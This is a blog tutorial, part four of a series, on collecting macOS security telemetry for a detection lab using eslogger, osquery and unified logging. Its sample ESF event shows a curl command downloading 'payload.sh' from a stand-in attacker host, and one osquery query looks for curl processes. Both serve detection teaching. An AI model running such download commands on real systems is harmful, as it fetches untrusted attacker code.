4 min read

Building a macOS Detection Engineering Lab — Part 4: Collecting macOS Logs

Now for the fun part — getting telemetry out of your macOS VM. This is where macOS detection engineering has historically been painful, but Apple's Endpoint Security Framework (ESF) has changed the game.

The Logging Landscape

macOS has several logging sources:

SourceWhat It CapturesDetection Value
Unified LoggingEverything (verbose)Low signal-to-noise
ESF (eslogger)Security-relevant eventsHigh — this is what you want
osqueryPoint-in-time state + some eventsMedium — good for queries
Audit logsSystem call auditingMedium — legacy approach

For detection engineering, ESF via eslogger is the sweet spot.

Endpoint Security Framework (ESF)

ESF is Apple’s modern security telemetry API — think of it as “Sysmon for macOS.” It provides:

  • Process events: exec, fork, exit
  • File events: create, modify, delete, rename, open
  • Network events: connect, bind
  • Authentication events: login, sudo, authorization
  • And more: mount, iokit, signal, etc.

eslogger (Built-in, macOS 13+)

Starting with macOS Ventura (13), Apple includes eslogger — a command-line tool to stream ESF events:

# Basic usage (requires root)
sudo eslogger exec

# Multiple event types
sudo eslogger exec write create rename unlink

# Output as JSON (recommended for SIEM ingestion)
sudo eslogger exec write create rename --format json

# Stream to a file
sudo eslogger exec write create rename --format json > /var/log/esf_events.json

Event Types Worth Capturing

For detection engineering, focus on these:

sudo eslogger \
  exec \           # Process execution
  fork \           # Process forking
  exit \           # Process exit
  open \           # File opens (can be noisy)
  write \          # File writes
  create \         # File creation
  rename \         # File renames
  unlink \         # File deletion
  link \           # Hard links
  setextattr \     # Extended attributes (quarantine flags)
  setflags \       # File flags
  setmode \        # Permission changes
  setowner \       # Ownership changes
  signal \         # Signals sent between processes
  --format json

Making eslogger Persistent

Create a launch daemon to run eslogger at boot:

sudo tee /Library/LaunchDaemons/com.lab.eslogger.plist << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.lab.eslogger</string>
    <key>ProgramArguments</key>
    <array>
        <string>/usr/bin/eslogger</string>
        <string>exec</string>
        <string>fork</string>
        <string>write</string>
        <string>create</string>
        <string>rename</string>
        <string>unlink</string>
        <string>--format</string>
        <string>json</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>KeepAlive</key>
    <true/>
    <key>StandardOutPath</key>
    <string>/var/log/esf_events.json</string>
    <key>StandardErrorPath</key>
    <string>/var/log/esf_errors.log</string>
</dict>
</plist>
EOF

# Load the daemon
sudo launchctl load /Library/LaunchDaemons/com.lab.eslogger.plist

osquery (Cross-Platform SQL Interface)

osquery provides a SQL interface to query system state and some events:

# Install
brew install osquery

# Interactive mode
osqueryi

# Query running processes
> SELECT pid, name, path, cmdline FROM processes WHERE name LIKE '%curl%';

# Query listening ports
> SELECT * FROM listening_ports;

# Query login history
> SELECT * FROM last;

Event Tables (Daemon Mode)

osquery can also capture events when running as a daemon:

# Start daemon
sudo osqueryctl start

# Configure in /var/osquery/osquery.conf

Relevant event tables:

  • process_events — Process execution
  • file_events — File changes (requires FIM config)
  • socket_events — Network connections
  • user_events — User logins

osquery is great for incident response queries but less complete than ESF for real-time detection.


Native Unified Logging

macOS’s unified logging captures everything, which makes it noisy but comprehensive:

# Process execution (via execpolicy)
log show --predicate 'subsystem == "com.apple.execpolicy"' --last 1h

# Authorization events
log show --predicate 'subsystem == "com.apple.Authorization"' --last 1h

# File quarantine (downloads)
log show --predicate 'subsystem == "com.apple.LaunchServices"' --last 1h

# Network connections
log show --predicate 'subsystem == "com.apple.networkd"' --last 1h

# Stream live
log stream --predicate 'subsystem == "com.apple.execpolicy"'

Unified logging is useful for deep-dive investigations but too verbose for continuous monitoring.


Sample ESF Event

Here’s what an exec event looks like in JSON:

{
  "event_type": "ES_EVENT_TYPE_NOTIFY_EXEC",
  "process": {
    "pid": 12345,
    "ppid": 1234,
    "executable": {
      "path": "/usr/bin/curl"
    },
    "arguments": ["curl", "-O", "http://evil.com/payload.sh"],
    "signing_id": "com.apple.curl",
    "team_id": "",
    "is_platform_binary": true
  },
  "timestamp": "2026-01-30T15:30:00.000Z"
}

This structured JSON is perfect for SIEM ingestion and detection logic.


Recommendation

For a detection lab, run eslogger with key event types:

sudo eslogger exec fork write create rename unlink signal --format json > /var/log/esf_events.json

Then ship /var/log/esf_events.json to Splunk (covered in Part 5).


Next Steps

You’ve got telemetry flowing. Now let’s set up somewhere to send it and build detections.

Next: Part 5 — Splunk Attack Range & Detection Workflow →